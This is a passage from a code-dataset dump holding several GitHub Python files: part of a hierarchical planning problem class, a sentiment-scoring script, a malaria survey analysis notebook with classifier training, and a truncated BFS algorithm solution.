str(m)).replace(\"\\n\", \"\\n \"))\n s.append(\"\\n]\\n\\n\")\n s.append(str(self._initial_task_network))\n return \"\".join(s)\n\n def __eq__(self, oth: object) -> bool:\n if not super().__eq__(oth):\n return False\n if not isinstance(oth, HierarchicalProblem):\n return False\n return (\n self._initial_task_network == oth._initial_task_network\n and self._methods == oth._methods\n and self._abstract_tasks == oth._abstract_tasks\n )\n\n def __hash__(self):\n res = super().__hash__()\n res += sum(map(hash, self._abstract_tasks.values()))\n res += sum(map(hash, self._methods.values()))\n res += hash(self._initial_task_network)\n return res\n\n def clone(self):\n new_p = HierarchicalProblem(self._name, self._env)\n new_p._fluents = self._fluents[:]\n new_p._actions = [a.clone() for a in self._actions]\n new_p._user_types = self._user_types[:]\n new_p._user_types_hierarchy = self._user_types_hierarchy.copy()\n new_p._objects = self._objects[:]\n new_p._initial_value = self._initial_value.copy()\n new_p._timed_effects = {\n t: [e.clone() for e in el] for t, el in self._timed_effects.items()\n }\n new_p._timed_goals = {i: [g for g in gl] for i, gl in self._timed_goals.items()}\n new_p._goals = self._goals[:]\n new_p._metrics = []\n for m in self._metrics:\n if m.is_minimize_action_costs():\n assert isinstance(m, up.model.metrics.MinimizeActionCosts)\n costs: Dict[\"up.model.Action\", \"up.model.Expression\"] = {\n new_p.action(a.name): c for a, c in m.costs.items()\n }\n new_p._metrics.append(up.model.metrics.MinimizeActionCosts(costs))\n else:\n new_p._metrics.append(m)\n new_p._initial_defaults = self._initial_defaults.copy()\n new_p._fluents_defaults = self._fluents_defaults.copy()\n new_p._initial_task_network = self._initial_task_network.clone()\n new_p._methods = self._methods.copy()\n new_p._abstract_tasks = self._abstract_tasks.copy()\n return new_p\n\n def get_unused_fluents(self):\n \"\"\"\n Returns the set of `fluents` that are never used in the problem.\n \"\"\"\n # from our parents unused fluents, remove all those that appear in methods preconditions and constraints\n unused_fluents: Set[\"up.model.fluent.Fluent\"] = super().get_unused_fluents()\n fve = self._env.free_vars_extractor\n # function that takes an FNode and removes all the fluents contained in the given FNode\n # from the unused_fluents set.\n remove_used_fluents = lambda *exps: unused_fluents.difference_update(\n (f.fluent() for e in exps for f in fve.get(e))\n )\n for m in self.methods:\n remove_used_fluents(*m.preconditions)\n remove_used_fluents(*m.constraints)\n remove_used_fluents(*self.task_network.constraints)\n\n return unused_fluents\n\n @property\n def kind(self) -> \"up.model.problem_kind.ProblemKind\":\n \"\"\"Returns the problem kind of this planning problem.\n\n IMPORTANT NOTE: this property does a lot of computation, so it should be called as\n minimum time as possible.\"\"\"\n factory = self._kind_factory()\n factory.kind.set_problem_class(\"HIERARCHICAL\")\n (TO, PO, TEMPORAL) = (0, 1, 2)\n\n def lvl(tn: AbstractTaskNetwork):\n \"\"\"Determines the expressivity level of temporal constraints within a task network\"\"\"\n if tn.total_order() is not None:\n return TO\n elif tn.partial_order() is not None:\n return PO\n else:\n return TEMPORAL\n\n ordering_kind = lvl(self.task_network)\n if len(self.task_network.variables) > 0:\n factory.kind.set_hierarchical(\"INITIAL_TASK_NETWORK_VARIABLES\")\n if len(self.task_network.non_temporal_constraints()) > 0:\n factory.kind.set_hierarchical(\"TASK_NETWORK_CONSTRAINTS\")\n\n for method in self.methods:\n ordering_kind = max(ordering_kind, lvl(method))\n for method_cond in method.preconditions:\n factory.kind.set_hierarchical(\"METHOD_PRECONDITIONS\")\n factory.update_problem_kind_expression(method_cond)\n if len(method.non_temporal_constraints()) > 0:\n factory.kind.set_hierarchical(\"TASK_NETWORK_CONSTRAINTS\")\n\n if ordering_kind == TO:\n factory.kind.set_hierarchical(\"TASK_ORDER_TOTAL\")\n elif ordering_kind == PO:\n factory.kind.set_hierarchical(\"TASK_ORDER_PARTIAL\")\n else:\n factory.kind.set_hierarchical(\"TASK_ORDER_TEMPORAL\")\n factory.kind.set_time(\"CONTINUOUS_TIME\")\n\n return factory.finalize()\n\n def has_name(self, name: str) -> bool:\n \"\"\"\n Returns `True` if the given `name` is already in the `HierarchicalProblem`, `False` otherwise.\n\n :param name: The target name to find in the `HierarchicalProblem`.\n :return: `True` if the given `name` is already in the `HierarchicalProblem`, `False` otherwise.\"\"\"\n return (\n self.has_action(name)\n or self.has_fluent(name)\n or self.has_object(name)\n or self.has_type(name)\n or self.has_task(name)\n or name in self._methods\n )\n\n @property\n def tasks(self) -> List[Task]:\n return list(self._abstract_tasks.values())\n\n def get_task(self, task_name: str) -> Task:\n return self._abstract_tasks[task_name]\n\n def has_task(self, task_name: str):\n return task_name in self._abstract_tasks\n\n def add_task(self, task: Union[Task, str], **kwargs: \"up.model.types.Type\") -> Task:\n if isinstance(task, str):\n task = Task(task, _parameters=OrderedDict(**kwargs))\n else:\n assert len(kwargs) == 0\n if self.has_name(task.name):\n msg = f\"Name of task {task.name} already defined! Different elements of a problem can have the same name if the environment flag error_used_name is disabled.\"\n if self._env.error_used_name or any(\n task.name == t for t in self._abstract_tasks\n ):\n raise UPProblemDefinitionError(msg)\n else:\n warn(msg)\n self._abstract_tasks[task.name] = task\n for param in task.parameters:\n if param.type.is_user_type():\n self._add_user_type(param.type)\n return task\n\n @property\n def methods(self) -> List[Method]:\n return list(self._methods.values())\n\n def method(self, method_name) -> Method:\n return self._methods[method_name]\n\n def add_method(self, method: Method):\n assert (\n method.achieved_task is not None\n ), f\"No achieved task was specified for this method.\"\n if self.has_name(method.name):\n msg = f\"Name of method {method.name} already defined! Different elements of a problem can have the same name if the environment flag error_used_name is disabled.\"\n if self._env.error_used_name or any(\n method.name == m for m in self._methods\n ):\n raise UPProblemDefinitionError(msg)\n else:\n warn(msg)\n assert (\n method.achieved_task.task.name in self._abstract_tasks\n ), f\"Method is associated to an unregistered task '{method.achieved_task.task.name}'\"\n self._methods[method.name] = method\n for param in method.parameters:\n if param.type.is_user_type():\n self._add_user_type(param.type)\n\n @property\n def task_network(self):\n return self._initial_task_network\n","repo_name":"aiplan4eu/unified-planning","sub_path":"unified_planning/model/htn/hierarchical_problem.py","file_name":"hierarchical_problem.py","file_ext":"py","file_size_in_byte":9278,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"54"} +{"seq_id":"7487662126","text":"import codecs\nimport json\nimport argparse\nfrom sentiment.sentiment_analyer import getSentimentAnalyer\nimport yaml\n\n\ndef main(config):\n with open(config) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n print(config)\n print(\"Start\")\n s = getSentimentAnalyer(config)\n # print(s.get_sentiment_dicts())\n # s.setSentence('我不覺得非常聰明\"')\n # Positive score if article is positive\n # Negative score if article is negative\n # print(s.get_review_sentiment_score())\n with open(config['input'], 'r', encoding=\"utf-8\") as reader:\n jf = json.loads(reader.read())\n articles = jf['articles']\n # print(articles)\n for article in articles:\n content = '{}'.format(article['content'])\n s.setSentence(content)\n article['score'] = str(s.get_review_sentiment_score())\n if float(article['score']) >= 0:\n article['sentiment'] = \"positive\"\n elif float(article['score']) < 0:\n article['sentiment'] = \"negative\"\n\n with codecs.open(config['output'], \"w\", encoding=\"utf-8\") as fp:\n json.dump(articles, fp, indent=4, ensure_ascii=False)\n print(\"Done\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='manual to this script')\n parser.add_argument('--file', type=str, default=r'./config.yaml')\n args = parser.parse_args()\n main(args.file)\n","repo_name":"sean830314/PTT-SentimentAnalysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1662157714","text":"#%% Change working directory from the workspace root to the ipynb file location. Turn this addition off with the DataScience.changeDirOnImportExport setting\n# ms-python.python added\nimport os\ntry:\n\tos.chdir(os.path.join(os.getcwd(), 'Data-Analysis-Project'))\n\tprint(os.getcwd())\nexcept:\n\tpass\n\n#%%\n#import libs\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sb\nimport numpy as np\nimport numpy.random as nr\nimport math\n\n#%%\n# load datasets\nMalaria = pd.read_csv('./NG_2015_MIS_07012019_1354_135943/nmis.csv')\n\n#%%\nMalaria.head(20)\n\n#%%\n# assign human-readable names to column/variable names in the dataset\n\n#%%\nMalaria.columns=['Case Identification', 'Region', 'Type of Place of Residence', 'Source of Drinking Water', 'Type of Toilet Facility',\n 'Has Electricity', 'Main Floor Material', 'Main Wall Material', 'Main Roof Material', 'Has Bicycle', 'Has Motorcycle/Scooter',\n 'Has Car/Truck', 'Has Mosquito Bed Net for Sleeping', 'Owns Land Suitable for Agriculture', 'Has Bank Account', \n 'Wealth Index', 'Cost of Treatment for Fever', 'State']\n\nprint(Malaria.shape)\n\n#%%\nMalaria.head()\n\n#%%\n# Some of the column/variable names contain wild/special chars\nMalaria.columns=[str.replace('/','or') for str in Malaria.columns]\n\n#%%\nMalaria.head()\n\n#%%\nMalaria.dtypes\n\n# We are going to check which of our variables have missing values\n\n#%%\n# check for missing values\nMalaria.isnull().sum(axis=0) \n\n#%% [markdown]\n# 'Type of Toilet Facility' and 'Cost of Treatment for Fever' contains missing values. We are going to remove both columns from our dataset.\n\n#%%\nMalaria.drop(['Cost of Treatment for Fever','Type of Toilet Facility'], axis=1, inplace=True)\n\n\n#%%\nMalaria.head()\n\n#%%\n#put our table in form of pandas dataframe for analysis\ndf = pd.DataFrame(Malaria)\n\n#%%\n#Descriptive statistics/analysis\n\n#%%\ndf['State'].value_counts()\n\n\n#%%\ndf['Has Electricity'].value_counts()\n\n\n#%%\ndf['Source of Drinking Water'].value_counts()\n\n\n#%%\ndf['Wealth Index'].value_counts()\n\n\n#%%\ndf['Has Mosquito Bed Net for Sleeping'].value_counts()\n\n\n#%%\ndf.groupby('Wealth Index')['State'].describe()\n\n#%% [markdown]\n# From the table above, Lagos State has the top number of richest people and Sokoto State has the top number of poorest people.\n\n#%%\ndf.groupby('Has Mosquito Bed Net for Sleeping')['State'].describe()\n#%% [markdown]\n# From above table Bauchi State has the Highest number of people with Mosquito Bed Net for Sleeping, While Edo State has the least Number.\n\n#%%\ndf.groupby('Has Electricity')['State'].describe()\n\n#%% [markdown]\n# From above table Lagos State has the Highest number of people with access to Electricity, While Adamawa State has the least Number.\n\n#%%\ndf['Source of Drinking Water'].value_counts()\n\n#%% [markdown]\n# From the table above, most people source of drinking water is Tube Well or Borehole.\n\n#%%\n#APPLICATION OF MACHINE LEARNING MODELS\n\n#%%\nMalaria.head()\n\n#%%\nMalaria_ML = pd.read_csv(\"./NG_2015_MIS_07012019_1354_135943/numeric_nmis.csv\")\n\n#%%\nMalaria_ML.head()\n\n#%%\nMalaria_ML.columns=['Case Identification', 'Region', 'Type of Place of Residence', 'Source of Drinking Water', 'Type of Toilet Facility',\n 'Has Electricity', 'Main Floor Material', 'Main Wall Material', 'Main Roof Material', 'Has Bicycle', 'Has Motorcycle/Scooter',\n 'Has Car/Truck', 'Has Mosquito Bed Net for Sleeping', 'Owns Land Suitable for Agriculture', 'Has Bank Account', \n 'Wealth Index', 'Cost of Treatment for Fever', 'State']\n\nprint(Malaria_ML.shape)\nMalaria_ML.head()\n\n#%%\nMalaria_ML.columns=[str.replace('/','or') for str in Malaria_ML.columns]\n\n\n#%%\nMalaria_ML.isnull().sum(axis=0) \n\n#%%\nMalaria_ML.drop(['Cost of Treatment for Fever','Type of Toilet Facility'], axis=1, inplace=True)\n\n#%%\nMalaria_ML.head()\n\n#%%\nMalaria_ML.tail()\n\n#%%\ndef plot_corr(Malaria_ML, size=11):\n \"\"\"\n Function plots a graphical correlation matrix for each pair of columns in the dataframe.\n\n Input:\n Malaria: pandas DataFrame\n size: vertical and horizontal size of the plot\n\n Displays:\n matrix of correlation between columns. Blue-cyan-yellow-red-darkred => less to more correlated\n 0 ------------------> 1\n Expect a darkred line running from top left to bottom right\n \"\"\"\n\n corr = Malaria_ML.corr() # data frame correlation function\n fig, ax = plt.subplots(figsize=(size, size))\n ax.matshow(corr) # color code the rectangles by correlation value\n plt.xticks(range(len(corr.columns)), corr.columns)\n # draw x tick marks\n plt.yticks(range(len(corr.columns)), corr.columns)\n # draw y tick marks\n\n#%%\n# Correlated Feature Check. \n# Correlation by color. Red is most correlated with other variable, Yellow is self to self correlated and Blue is least correlated with other variable.\n\n#%%\nplot_corr(Malaria_ML)\n\n#%%\n# State and Case Identification appears to be correlated.\n# Drop State Column\n\ndel Malaria_ML['State']\n\n#%%\nMalaria_ML.head(5)\n\n\n#%%\nMalaria_ML.corr()\n\n#%%\nplot_corr(Malaria_ML)\n\n#%%\n# The correlations look good. There appear to be no coorelated columns.\n## Next we want to check class distribution\n#%%\nnum_obs = len(Malaria_ML)\nnum_true = len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 1])\nnum_false = len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 0])\nprint(\"Number of True cases: {0} ({1:2.2f}%)\".format(num_true, (num_true/num_obs) * 100))\nprint(\"Number of False cases: {0} ({1:2.2f}%)\".format(num_false, (num_false/num_obs) * 100))\n\n#%% [markdown]\n# Our class distribution is fairly good.\n\n#%% [markdown]\n# # Spliting the data\n# 70% for training, 30% for testing\n\n#%%\n#Let us explore our target variable and visualize it\n##Pictorial representation of the target variable\n#%%\nsb.countplot(x='Has Mosquito Bed Net for Sleeping', data=Malaria_ML, palette='hls')\nplt.show()\n\n#%%\n#from sklearn.cross_validation import train_test_split\nfrom sklearn.model_selection import train_test_split\nfeature_col_names = ['Region', 'Type of Place of Residence', 'Source of Drinking Water', 'Has Electricity', 'Wealth Index', 'Has Bicycle', 'Has MotorcycleorScooter', 'Has CarorTruck' , 'Owns Land Suitable for Agriculture', 'Has Bank Account' , 'Main Floor Material' ,'Main Wall Material' , 'Main Roof Material'] #independent variables (feature variables)\npredicted_class_names = ['Has Mosquito Bed Net for Sleeping'] #dependent variable (target)\n\nX = Malaria_ML[feature_col_names].values # predictor feature columns (8 X m)\ny = Malaria_ML[predicted_class_names].values # predicted class (1=true, 0=false) column (1 X m)\nsplit_test_size = 0.30 #test_size specifies the proportion of the test set\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=split_test_size, random_state=42) \n# test_size = 0.3 is 30%, 42 is the answer to everything\n\n#%%\n#Get an idea bout the rows and columns we have obtained\nprint(\"\\nX_train:\\n\")\nprint(X_train.shape)\n\nprint(\"\\nX_test:\\n\")\nprint(X_test.shape)\n#%%\n# check we have the the desired 70% train, 30% test split of the data.\n\n#%%\nprint(\"{0:0.2f}% in training set\".format((len(X_train)/len(Malaria_ML.index)) * 100))\nprint(\"{0:0.2f}% in test set\".format((len(X_test)/len(Malaria_ML.index)) * 100))\n\n#%%\n# Verifying predicted value was split correctly.\n\n#%%\nprint(\"Original True : {0} ({1:0.2f}%)\".format(len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 1]), (len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 1])/len(Malaria_ML.index)) * 100.0))\nprint(\"Original False : {0} ({1:0.2f}%)\".format(len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 0]), (len(Malaria_ML.loc[Malaria_ML['Has Mosquito Bed Net for Sleeping'] == 0])/len(Malaria_ML.index)) * 100.0))\nprint(\"\")\nprint(\"Training True : {0} ({1:0.2f}%)\".format(len(y_train[y_train[:] == 1]), (len(y_train[y_train[:] == 1])/len(y_train) * 100.0)))\nprint(\"Training False : {0} ({1:0.2f}%)\".format(len(y_train[y_train[:] == 0]), (len(y_train[y_train[:] == 0])/len(y_train) * 100.0)))\nprint(\"\")\nprint(\"Test True : {0} ({1:0.2f}%)\".format(len(y_test[y_test[:] == 1]), (len(y_test[y_test[:] == 1])/len(y_test) * 100.0)))\nprint(\"Test False : {0} ({1:0.2f}%)\".format(len(y_test[y_test[:] == 0]), (len(y_test[y_test[:] == 0])/len(y_test) * 100.0)))\n\n#%%\n# # Training Algorithm - Using Naive Bayes Machine Learning Model\n# # Using Logistic Regression\nfrom sklearn.naive_bayes import GaussianNB\n\n# create Gaussian Naive Bayes Model object and train it with the data\nnb_model = GaussianNB()\n\nnb_model.fit(X_train, y_train.ravel())\n\n#%% [markdown]\n# Performance on Training Data\n\n#%%\n# predict values using the training data\nnb_predict_train = nb_model.predict(X_train)\n\n# import the performance metrics library\nfrom sklearn import metrics\n\n# Accuracy\nprint(\"Accuracy: {0:.0f}%\".format(metrics.accuracy_score(y_train, nb_predict_train)*100))\nprint()\n\n#%% [markdown]\n# Our accurancy rate is 63% on the training data. This is below the 70% benchmark for our ideal ML Model.\n#%% [markdown]\n# Performance on Testing Data\n\n#%%\n# predict values using the testing data\nnb_predict_test = nb_model.predict(X_test)\n\nfrom sklearn import metrics\n\n# training metrics\nprint(\"nb_predict_test\", nb_predict_test)\nprint (\"y_test\", y_test)\nprint(\"Accuracy: {0:.0f}%\".format(metrics.accuracy_score(y_test, nb_predict_test)*100))\n\n\n#%%\n#Accuracy on testing data is also below our 70% benchmark.\n\n\n#%%\nprint(\"Confusion Matrix\")\nprint(\"{0}\".format(metrics.confusion_matrix(y_test, nb_predict_test)))\nprint(\"\")\n\nprint(\"Classification Report\")\nprint(metrics.classification_report(y_test, nb_predict_test))\n\n#%% [markdown]\n# Our Recall and Precision rate is 70% and 77% respectively. This is ok. However we would try other models if they would work better.\n#%% [markdown]\n# # Using Random Forest\n\n#%%\nfrom sklearn.ensemble import RandomForestClassifier\nrf_model = RandomForestClassifier(random_state=42, n_estimators=10) # Create random forest object\nrf_model.fit(X_train, y_train.ravel()) \n\n#%%\n# Predict Training Data\n\n#%%\nrf_predict_train = rf_model.predict(X_train)\n# training metrics\nprint(\"Accuracy: {0:.0f}%\".format(metrics.accuracy_score(y_train, rf_predict_train)*100))\n\n#%% [markdown]\n# Random Forest Accuracy level looks much better.\n#%% [markdown]\n# Predict Test Data\n\n#%%\nrf_predict_test = rf_model.predict(X_test)\n\n# training metrics\nprint(\"Accuracy: {0:.0f}%\".format(metrics.accuracy_score(y_test, rf_predict_test)*100))\n\n#%% [markdown]\n# But this is slightly below 70% for our test data.\n\n#%%\nprint(metrics.confusion_matrix(y_test, rf_predict_test) )\nprint(\"\")\nprint(\"Classification Report\")\nprint(metrics.classification_report(y_test, rf_predict_test))\n\n#%% [markdown]\n# Our precision and Recall recorded good values based on true 'Yes' and 'No' for ownership of Mosquito Bed Net for Sleeping though the accuracy level on the test data is slightly less than our 70% benchmark.\n#%% [markdown]\n# # Using Logistic Regression\n\n#%%\nfrom sklearn.linear_model import LogisticRegression\n\nlr_model =LogisticRegression(C=0.7, random_state=42, solver='liblinear', max_iter=10000)\nlr_model.fit(X_train, y_train.ravel())\nlr_predict_test = lr_model.predict(X_test)\n\n## training metrics\n#Confusion Matrix Evaluation Metrics\nprint(\"Accuracy: {0:.0f}%\".format(metrics.accuracy_score(y_test, lr_predict_test)*100))\nprint(\"Precision: {0:.0f}%\".format(metrics.precision_score(y_test, lr_predict_test)*100))\nprint(\"Recall: {0:.0f}%\".format(metrics.recall_score(y_test, lr_predict_test)*100))\nprint(\"\")\nprint(\"Classification Report\")\nprint(metrics.classification_report(y_test, lr_predict_test))\nprint(metrics.confusion_matrix(y_test, lr_predict_test))\n\n#%%\n##Visualizing Confusion Matrix using Heatmap\nfig, ax = plt.subplots()\ntick_marks = np.arange(len(['Has Mosquito Bed Net for Sleeping']))\nplt.xticks(tick_marks, ['Has Mosquito Bed Net for Sleeping'])\nplt.yticks(tick_marks, ['Has Mosquito Bed Net for Sleeping'])\nsb.heatmap(pd.DataFrame(metrics.confusion_matrix(y_test, lr_predict_test)), annot=True, cmap=\"viridis\", fmt='g')\nax.xaxis.set_label_position(\"top\")\nplt.tight_layout()\nplt.title('Confusion Matrix', y=1.1)\nplt.ylabel('Actual label')\nplt.xlabel('Has Mosquito Bed Net for Sleeping')\n\n#%% [markdown]\n# Logistic Regression Model performed best for our prediction. So we would finally go with the Logistics Regression Model.\n\n#%% [markdown]\n# # Using our trained Model (Logistic Regression)\n\n#%% [/]\n# Save trained model to file\nfrom sklearn.externals import joblib \njoblib.dump(lr_model, \"Malaria Model\")\n\n#%%\n#load trained model\nlr_model = joblib.load('Malaria Model')\n\n#%%\n#Test prediction on data and once the model is loaded\n\nMalaria_Predic = pd.read_csv(\"./NG_2015_MIS_07012019_1354_135943/numeric_mtd.csv\")\n\n#%%\nMalaria_Predic.head()\n\n#%%\n#Test data contains a few rows\n\n#%%\n#We will do some cleaning as before\nMalaria_Predic.columns=['Case Identification', 'Region', 'Type of Place of Residence', 'Source of Drinking Water', 'Type of Toilet Facility',\n 'Has Electricity', 'Main Floor Material', 'Main Wall Material', 'Main Roof Material', 'Has Bicycle', 'Has Motorcycle/Scooter',\n 'Has Car/Truck', 'Has Mosquito Bed Net for Sleeping', 'Owns Land Suitable for Agriculture', 'Has Bank Account', \n 'Wealth Index', 'Cost of Treatment for Fever', 'State']\nprint(Malaria_Predic.shape)\nMalaria_Predic.head()\n\n#%%\nMalaria_Predic.columns=[str.replace('/','or') for str in Malaria_Predic.columns]\n\n#%%\nMalaria_Predic.drop(['Type of Toilet Facility', 'Cost of Treatment for Fever', 'Case Identification', 'State'], axis=1, inplace=True)\n\n\n#%%\nMalaria_Predic.head()\n\n#%%\n#We need to drop 'Has Mosquito Bed Net for Sleeping\" since that is what we are preicting\n#Store data without the column with prefix X as we did with the X_train and X_test to indicate that it only contains the columns we are predicting\n\n#%%\nX_predic = Malaria_Predic\ndel X_predic['Has Mosquito Bed Net for Sleeping']\n\n#%%\nX_predic\n\n#%% [markdown]\n# At this point our data is ready to be used for prediction.\n\n#%% [markdown]\n# Predict 'Has Mosquito Bed Net for Sleeping' with the prediction data. Returns 1 if True, 0 if false\n\n#%%\nMalaria_Predic.head()\n\n#%%\nlr_model.predict(X_predic)\n\n#%%\n# Our Model predicts well. Mision Accomplished!!\n\nMalaria_Visual = pd.read_csv(\"./NG_2015_MIS_07012019_1354_135943/numeric_nmis.csv\")\nMalaria_Visual.columns=['Case Identification', 'Region', 'Type of Place of Residence', 'Source of Drinking Water', 'Type of Toilet Facility',\n 'Has Electricity', 'Main Floor Material', 'Main Wall Material', 'Main Roof Material', 'Has Bicycle', 'Has Motorcycle/Scooter',\n 'Has Car/Truck', 'Has Mosquito Bed Net for Sleeping', 'Owns Land Suitable for Agriculture', 'Has Bank Account', \n 'Wealth Index', 'Cost of Treatment for Fever', 'State']\n\nprint(Malaria_Visual.shape)\nMalaria_Visual.head()\n\n#%%\n#Check for Missing Values\n(Malaria_Visual.astype(np.object).isnull()).any()\n\n#%% [markdown]\n# Column 'Cost of Treatment of Fever' containing NaN values is removed.\n\n#%%\nMalaria_Visual.drop('Cost of Treatment for Fever', axis = 1, inplace = True)\n\n\n#%%\nMalaria_Visual.head()\n\n#%% [markdown]\n# We would put the table in form of Pandas DataFrame.\n\n#%%\ndf=pd.DataFrame (Malaria_Visual)\n\n#%% [markdown]\n# Now we would create and assign a list of dictionaries to recode the numerical values of SOME categorical variables in our dataset with human-readable text.\n\n#%%\ndict = [['Has Electricity',\n {1:'yes',\n 0:'No'}],\n ['Type of Place of Residence',\n {1:'Urban',\n 2:'Rural'}]]\nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Source of Drinking Water',\n {10:'Piped water',\n 11:'Piped into dwelling',\n 12:'Piped to yard/plot',\n 13:'public tap/standpipe',\n 14:'Piped to Neighbour',\n 20:'Tube well water',\n 21:'Tube well or borehole',\n 30:'Dug well (open/protected)',\n 31:'Protected well',\n 32:'Unprotected well',\n 40:'Surface water',\n 41:'Protected spring',\n 42:'Unprotected spring',\n 43:'River/dam/lake/ponds/stream/canal/irrigation channel',\n 51:'Rain water',\n 61:'Tanker truck',\n 62:'Cart with small tank',\n 71:'Bottled water',\n 72:'Sachet water',\n 96:'Other'}]]\n\nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Region',\n {1:'North central',\n 2:'North east',\n 3:'North west',\n 4:'South east',\n 5:'South south',\n 6:'South west'}]]\nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['State',\n {10:'Sokoto',\n 20:'Zamfara',\n 30:'Katsina',\n 40:'Jigawa',\n 50:'Yobe',\n 60:'Borno-Urban',\n 70:'Adamawa',\n 80:'Gombe',\n 90:'Bauchi',\n 100:'Kano',\n 110:'Kaduna',\n 120:'Kebbi',\n 130:'Niger',\n 140:'FCT Abuja',\n 150:'Nasarawa',\n 160:'Plateau',\n 170:'Taraba',\n 180:'Benue',\n 190:'Kogi',\n 200:'Kwara',\n 210:'Oyo',\n 220:'Osun',\n 230:'Ekiti',\n 240:'Ondo',\n 250:'Edo',\n 260:'Anambra',\n 270:'Enugu',\n 280:'Ebonyi',\n 290:'Cross River',\n 300:'Akwa Ibom',\n 310:'Abia',\n 320:'Imo',\n 330:'Rivers',\n 340:'Bayelsa',\n 350:'Delta',\n 360:'Lagos',\n 370:'Ogun'}]]\n\nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Has Bank Account',\n {1:'yes',\n 0: 'No'}], \n ['Has Bicycle',\n {1:'yes',\n 0:'No'}]] \n \nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Has Mosquito Bed Net for Sleeping',\n {1:'yes',\n 0: 'No'}], \n ['Has Car/Truck',\n {1:'yes',\n 0:'No'}]] \n \nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Wealth Index',\n {1:'Poorest',\n 2:'Poorer',\n 3:'Middle',\n 4:'Richer',\n 5:'Richest'}]] \n \nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndict = [['Has Motorcycle/Scooter',\n {1:'yes',\n 0: 'No'}]] \n \nfor col_dict in dict:\n col=col_dict[0]\n dict=col_dict[1]\n df[col]=[dict[x] for x in df[col]]\n\n\n#%%\ndf\n\n#%% [markdown]\n# Fine with the missing values check and recoding of some categorical variables\n# Now on to visualizing the dataset.\n\n#%%\ndef plot_box(df, cols, col_x = 'Has Mosquito Bed Net for Sleeping'):\n for col in cols:\n sb.set_style(\"whitegrid\")\n sb.boxplot(col_x, col, data=df)\n plt.xlabel(col_x) # Set text for the x axis\n plt.ylabel(col)# Set text for y axis\n plt.show()\n\nnum_cols = ['Case Identification']\nplot_box(df, num_cols)\n\n#%% [markdown]\n# From the boxplot above, there is obvious gap in the number of people who indicated having no Mosquito Bed Net for Sleeping and those who indicated they have. \n\n#%%\ndef plot_box(df, col, col_y = 'Case Identification'):\n sb.set_style(\"whitegrid\")\n sb.boxplot(col, col_y, data=df)\n plt.xlabel(col) # Set text for the x axis\n plt.ylabel(col_y)# Set text for y axis\n plt.show()\n \nplot_box(df, 'Wealth Index') \n\n#%% [markdown]\n# From the box plot, the gap between Richer and Richest is not obvious. While the gap between the Middle, Poorest and Poorer is very obvious.\n\n#%%\ndef plot_box(df, col, col_y = 'Case Identification'):\n sb.set_style(\"whitegrid\")\n sb.boxplot(col, col_y, data=df)\n plt.xlabel(col) # Set text for the x axis\n plt.ylabel(col_y)# Set text for y axis\n plt.show()\n \nplot_box(df, 'Region') \n\n#%% [markdown]\n# As expected regions are distinct from each other.\n\n#%%\ndef plot_box(df, col, col_y = 'Case Identification'):\n sb.set_style(\"whitegrid\")\n sb.boxplot(col, col_y, data=df)\n plt.xlabel(col) # Set text for the x axis\n plt.ylabel(col_y)# Set text for y axis\n plt.show()\n \nplot_box(df, 'Has Electricity') \n\n#%% [markdown]\n# There is obvious difference in the number of people having and not having electricity.\n\n#%%\ndef plot_box(df, col, col_y = 'Case Identification'):\n sb.set_style(\"whitegrid\")\n sb.boxplot(col, col_y, data=df)\n plt.xlabel(col) # Set text for the x axis\n plt.ylabel(col_y)# Set text for y axis\n plt.show()\n \nplot_box(df, 'Type of Place of Residence') \n\n#%% [markdown]\n# As expected type of places of residence is also obviously distinct. \n#%% [markdown]","repo_name":"ryptozee/Data-Analysis-Project","sub_path":"malariaCleaningAnalysisDescVis.py","file_name":"malariaCleaningAnalysisDescVis.py","file_ext":"py","file_size_in_byte":21013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25377512444","text":"import sys\nfrom collections import deque\nsys.stdin = open(\"input.txt\", \"r\")\ninput = sys.stdin.readline\n\ndef bfs(x, y, visited, grpah):\n global moved\n people = graph[x][y]\n cnt = 1\n q = deque([(x,y)])\n visited[x][y] = True\n temp = list()\n temp.append((x, y))\n\n while q:\n x, y = q.popleft()\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n\n if nx < 0 or nx >= n or ny < 0 or ny >= n:\n continue\n\n if visited[nx][ny]:\n continue\n\n if l <= abs(grpah[x][y] - grpah[nx][ny]) <= r:\n visited[nx][ny] = True\n q.append((nx, ny))\n people += graph[nx][ny]\n cnt += 1\n temp.append((nx, ny))\n\n move_people = people // cnt\n\n if cnt > 1: # people = graph[x][y] 이 부분에 의해서 하나는 무조건 들어간다. 그 경우 빼주기 위해 > 1\n moved = True\n for x, y in temp:\n graph[x][y] = move_people\n\nn, l, r = map(int, input().split())\ngraph = [list(map(int, input().split())) for _ in range(n)]\n\ndx = [-1, 0, 1, 